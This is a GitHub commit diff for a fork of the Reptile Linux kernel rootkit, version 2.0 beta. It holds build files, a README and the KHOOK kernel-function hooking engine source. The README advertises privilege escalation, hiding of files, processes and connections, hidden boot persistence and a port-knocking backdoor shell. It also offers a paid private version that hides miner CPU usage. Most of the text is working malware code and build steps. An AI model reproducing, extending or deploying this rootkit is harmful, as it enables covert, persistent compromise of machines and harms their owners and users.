forked from f0rb1dd3n/Reptile
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
31 changed files
with
4,792 additions
and
3,042 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
MODNAME ?= reptile | ||
|
||
obj-m += $(MODNAME).o | ||
$(MODNAME)-y += rep_mod.o | ||
|
||
ccflags-y += -fno-stack-protector -fvisibility=hidden | ||
ldflags-y += -T$(src)/engine/engine.lds | ||
|
||
KBUILD_CFLAGS := $(filter-out -pg,$(KBUILD_CFLAGS)) | ||
KBUILD_CFLAGS := $(filter-out -mfentry,$(KBUILD_CFLAGS)) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,12 +1,9 @@ | ||
obj-m += rep_mod.o | ||
reptile-objs := rep_mod.o | ||
|
||
all: | ||
mkdir -p bin | ||
cd sbin && make all | ||
$(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules | ||
cp rep_mod.ko bin/rep_mod | ||
|
||
cd sbin && make reverse cmd | ||
$(MAKE) -C /lib/modules/$(shell uname -r)/build M=$$PWD | ||
cd parasite_loader && make | ||
clean: | ||
cd sbin && make clean | ||
$(MAKE) -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean | ||
$(MAKE) -C /lib/modules/$(shell uname -r)/build M=$$PWD clean | ||
cd parasite_loader && make clean |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,19 +1,20 @@ | ||
# Reptile | ||
# Reptile 2.0 (beta) | ||
|
||
<img align="left" src="https://imgur.com/nqujOlz.png"> | ||
|
||
<br><br><br><br><br>Reptile is a LKM rootkit written for evil purposes that runs on Linux kernel 2.6.x/3.x/4.x. | ||
<br><br><br><br><br>Reptile is a Linux LKM rootkit. Beta version, be careful when using it. | ||
<br><br><br><br><br> | ||
|
||
## Features | ||
|
||
- Give root to unprivileged users | ||
- Hide files and directories | ||
- Hide files contents | ||
- Hide processes | ||
- Hide himself | ||
- Hide TCP/IP connections | ||
- Hidden boot persistence | ||
- Strings obfuscation (Method suggested by: [milabs](https://github.com/milabs)) | ||
- File content tampering | ||
- Some obfuscation techniques | ||
- ICMP/UDP/TCP port-knocking backdoor | ||
- Full TTY/PTY shell with file transfer | ||
- Client to handle Reptile Shell | ||
|
@@ -22,6 +23,7 @@ | |
## Install | ||
``` | ||
apt-get install linux-headers-$(uname -r) | ||
perl -MCPAN -e "install String::Unescape" | ||
git clone https://github.com/f0rb1dd3n/Reptile.git | ||
cd Reptile | ||
./setup.sh install | ||
|
@@ -30,59 +32,40 @@ cd Reptile | |
``` | ||
./setup.sh remove | ||
``` | ||
|
||
## Usage | ||
|
||
Binaries will be copied to `/reptile` folder (or any name you chose), that will be hidden by Reptile. | ||
|
||
### Getting root privileges | ||
|
||
Just run: `/reptile/reptile_r00t` | ||
|
||
### Hiding | ||
|
||
- Hide/unhide reptile module: `kill -50 0` | ||
- Hide/unhide process: `kill -49 <PID>` | ||
- Hide/unhide files contents: `kill -51 0` and all content between the tags will be hidden | ||
|
||
Example: | ||
``` | ||
#<reptile> | ||
content to hide | ||
#</reptile> | ||
``` | ||
|
||
### Backdoor | ||
|
||
Configure and compile client: `./setup.sh client` | ||
<br> | ||
You use the client to send magic packets and get your full TTY encrypted shell! | ||
|
||
<p align="center"> | ||
<img src="https://imgur.com/1v3i1Rn.png"> | ||
</p> | ||
|
||
More informations: [Reptile Shell](sbin/README.md) | ||
See [Wiki](https://github.com/f0rb1dd3n/Reptile/wiki) to usage details. | ||
|
||
## Warning | ||
|
||
Some functions of this module is based on another rootkits. Please see the references! | ||
|
||
## References | ||
|
||
Special thanks to my friend [Ilya V. Matveychikov](https://github.com/milabs) for the [KHOOK](https://github.com/milabs/khook) framework and [kmatryoshka](https://github.com/milabs/kmatryoshka) loader.<br> | ||
|
||
- “[LKM HACKING](http://www.ouah.org/LKM_HACKING.html)”, The Hackers Choice (THC), 1999; | ||
- https://github.com/mncoppola/suterusu | ||
- https://github.com/m0nad/Diamorphine.git | ||
- https://github.com/David-Reguera-Garcia-Dreg/enyelkm.git | ||
- https://github.com/maK-/maK_it-Linux-Rootkit | ||
- “[Abuse of the Linux Kernel for Fun and Profit](http://phrack.org/issues/50/5.html)”, Halflife, Phrack 50, 1997; | ||
- https://ruinedsec.wordpress.com/2013/04/04/modifying-system-calls-dispatching-linux/ | ||
- https://github.com/creaktive/tsh | ||
- http://www.drkns.net/kernel-who-does-magic/ | ||
- https://github.com/brenns10/lsh | ||
|
||
## Disclaimer | ||
|
||
I do private jobs, if you are interesting send me an e-mail at: [email protected] | ||
If you wanna more features like:<br> | ||
|
||
- CPU usage hiding (for miners) | ||
- Generic binary that loads to any version of kernel | ||
- Best way to file tampering | ||
- Best way to hide files/process/dir | ||
- Best obfuscation | ||
- Bypass some kernel protections | ||
- A kernel module that survive to kernel update | ||
- Hiding connections and packets of other protocols | ||
|
||
There is a private version of Reptile. Even if you wanna a new feature or a new kernel module on demand, send an e-mail to [email protected] to get more information. | ||
|
||
<br> | ||
<p align="center"> | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,194 @@ | ||
#include "engine.h" | ||
|
||
extern khook_t __khook_tbl[]; | ||
extern khook_t __khook_tbl_end[]; | ||
|
||
#define khook_foreach(p) for (p = __khook_tbl; p < __khook_tbl_end; p++) | ||
|
||
//////////////////////////////////////////////////////////////////////////////// | ||
|
||
static int ksym_lookup_cb(unsigned long data[], const char *name, void *module, | ||
unsigned long addr) | ||
{ | ||
int i = 0; | ||
while (!module && (((const char *)data[0]))[i] == name[i]) { | ||
if (!name[i++]) | ||
return !!(data[1] = addr); | ||
} | ||
return 0; | ||
} | ||
|
||
static void *khook_lookup_name(const char *name) | ||
{ | ||
unsigned long data[2] = {(unsigned long)name, 0}; | ||
kallsyms_on_each_symbol((void *)ksym_lookup_cb, data); | ||
pr_debug("symbol(%s) = %p\n", name, (void *)data[1]); | ||
return (void *)data[1]; | ||
} | ||
|
||
static void *khook_map_writable(void *addr, size_t len) | ||
{ | ||
int i; | ||
void *vaddr = NULL; | ||
void *paddr = (void *)((unsigned long)addr & PAGE_MASK); | ||
struct page *pages[DIV_ROUND_UP(offset_in_page(addr) + len, PAGE_SIZE)]; | ||
|
||
for (i = 0; i < ARRAY_SIZE(pages); i++, paddr += PAGE_SIZE) { | ||
if ((pages[i] = __module_address((unsigned long)paddr) | ||
? vmalloc_to_page(paddr) | ||
: virt_to_page(paddr)) == NULL) | ||
return NULL; | ||
} | ||
|
||
vaddr = vmap(pages, ARRAY_SIZE(pages), VM_MAP, PAGE_KERNEL); | ||
return vaddr ? vaddr + offset_in_page(addr) : NULL; | ||
} | ||
|
||
//////////////////////////////////////////////////////////////////////////////// | ||
// Using of in-kernel length disassembler (x86 only, 2.6.33+) | ||
//////////////////////////////////////////////////////////////////////////////// | ||
|
||
#include <asm/insn.h> | ||
|
||
static struct { | ||
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 19, 0) | ||
void (*init)(struct insn *, const void *, int, int); /* since 3.19 */ | ||
#else | ||
void (*init)(struct insn *, const void *, int); | ||
#endif | ||
void (*get_length)(struct insn *); | ||
} insn_api; | ||
|
||
static inline void x86_put_jmp(void *a, void *f, void *t) | ||
{ | ||
*((char *)(a + 0)) = 0xE9; /* JMP opcode -- E9.xx.xx.xx.xx */ | ||
*((int *)(a + 1)) = (long)(t - (f + 5)); | ||
} | ||
|
||
static void __khook_init(khook_t *s) | ||
{ | ||
int x86_64 = 0; | ||
|
||
#ifdef CONFIG_X86_64 | ||
x86_64 = 1; | ||
#endif | ||
|
||
if (s->target[0] == 0xE9 || s->target[0] == 0xCC) | ||
return; | ||
|
||
while (s->length < 5) { | ||
struct insn insn; | ||
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 19, 0) | ||
insn_api.init(&insn, s->target + s->length, MAX_INSN_SIZE, | ||
x86_64); | ||
#else | ||
insn_api.init(&insn, s->target + s->length, x86_64); | ||
#endif | ||
insn_api.get_length(&insn); | ||
s->length += insn.length; | ||
} | ||
|
||
memcpy(s->origin_map, s->target, s->length); | ||
x86_put_jmp(s->origin_map + s->length, s->origin + s->length, | ||
s->target + s->length); | ||
|
||
atomic_inc(&s->usage); /* usage -> 1 */ | ||
} | ||
|
||
static int __khook_init_hooks(void *arg) | ||
{ | ||
khook_t *s; | ||
|
||
khook_foreach(s) | ||
{ | ||
if (atomic_read(&s->usage) != 1) { | ||
pr_debug("failed to hook symbol \"%s\"\n", s->name); | ||
continue; | ||
} | ||
x86_put_jmp(s->target_map, s->target, s->handlr); | ||
} | ||
|
||
return 0; | ||
} | ||
|
||
int khook_init(void) | ||
{ | ||
khook_t *s; | ||
|
||
insn_api.init = khook_lookup_name("insn_init"); | ||
if (!insn_api.init) | ||
return -EINVAL; | ||
insn_api.get_length = khook_lookup_name("insn_get_length"); | ||
if (!insn_api.get_length) | ||
return -EINVAL; | ||
|
||
khook_foreach(s) | ||
{ | ||
s->target = khook_lookup_name(s->name); | ||
if (!s->target) | ||
continue; | ||
|
||
s->target_map = khook_map_writable(s->target, 32); | ||
s->origin_map = khook_map_writable(s->origin, 32); | ||
if (!s->target_map || !s->origin_map) | ||
continue; | ||
|
||
__khook_init(s); | ||
} | ||
|
||
stop_machine(__khook_init_hooks, NULL, NULL); /* apply patches */ | ||
|
||
return 0; | ||
} | ||
|
||
static int __khook_cleanup_hooks(void *wakeup) | ||
{ | ||
khook_t *s; | ||
|
||
khook_foreach(s) | ||
{ | ||
if (atomic_read(&s->usage) == 0) | ||
continue; | ||
memcpy(s->target_map, s->origin, s->length); | ||
} | ||
|
||
return 0; | ||
} | ||
|
||
static int __khook_try_to_wakeup(void *arg) | ||
{ | ||
struct task_struct *g, *p; | ||
|
||
do_each_thread(g, p) | ||
{ | ||
if (!g->mm || (g->flags & PF_KTHREAD)) | ||
continue; | ||
send_sig(SIGSTOP, g, 1); | ||
send_sig(SIGCONT, g, 1); | ||
} | ||
while_each_thread(g, p); | ||
|
||
return 0; | ||
} | ||
|
||
void khook_cleanup(void) | ||
{ | ||
khook_t *s; | ||
|
||
stop_machine(__khook_cleanup_hooks, NULL, NULL); /* restore patches */ | ||
|
||
khook_foreach(s) | ||
{ | ||
while (atomic_read(&s->usage) > 1) { | ||
msleep_interruptible(1000); | ||
stop_machine(__khook_try_to_wakeup, NULL, NULL); | ||
} | ||
|
||
if (s->target_map) | ||
vunmap( | ||
(void *)((unsigned long)s->target_map & PAGE_MASK)); | ||
if (s->origin_map) | ||
vunmap( | ||
(void *)((unsigned long)s->origin_map & PAGE_MASK)); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,50 @@ | ||
#pragma once | ||
|
||
#include <linux/delay.h> | ||
#include <linux/kallsyms.h> | ||
#include <linux/mm.h> | ||
#include <linux/stop_machine.h> | ||
#include <linux/version.h> | ||
#include <linux/vmalloc.h> | ||
|
||
typedef struct { | ||
atomic_t usage; | ||
|
||
unsigned char *target; | ||
unsigned char *target_map; | ||
unsigned char *origin; | ||
unsigned char *origin_map; | ||
unsigned char *handlr; | ||
|
||
const char *name; | ||
int length; | ||
} khook_t; | ||
|
||
#define KHOOK_T_DEF(t) \ | ||
khook_t __attribute__((unused, section(".data.khook"), aligned(1))) \ | ||
KHOOK_##t | ||
|
||
#define KHOOK_(t) \ | ||
void __attribute__((alias("khook_" #t))) khook_h_##t(void); \ | ||
void notrace khook_o_##t(void) \ | ||
{ \ | ||
asm volatile(".rept 32; nop; .endr"); \ | ||
} \ | ||
KHOOK_T_DEF(t) = { \ | ||
.name = #t, \ | ||
.origin = (void *)&khook_o_##t, \ | ||
.handlr = (void *)&khook_h_##t, \ | ||
.usage = ATOMIC_INIT(0), \ | ||
} | ||
|
||
#define KHOOK(t) KHOOK_(t) | ||
#define KHOOK_EXT(r, t, ...) \ | ||
extern r t(__VA_ARGS__); \ | ||
KHOOK_(t) | ||
|
||
#define KHOOK_GET(t) atomic_inc(&KHOOK_##t.usage) | ||
#define KHOOK_PUT(t) atomic_dec(&KHOOK_##t.usage) | ||
#define KHOOK_ORIGIN(t, ...) ((typeof(t) *)KHOOK_##t.origin)(__VA_ARGS__) | ||
|
||
extern int khook_init(void); | ||
extern void khook_cleanup(void); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,8 @@ | ||
SECTIONS | ||
{ | ||
.data : { | ||
__khook_tbl = . ; | ||
*(.data.khook) | ||
__khook_tbl_end = . ; | ||
} | ||
} |
Oops, something went wrong.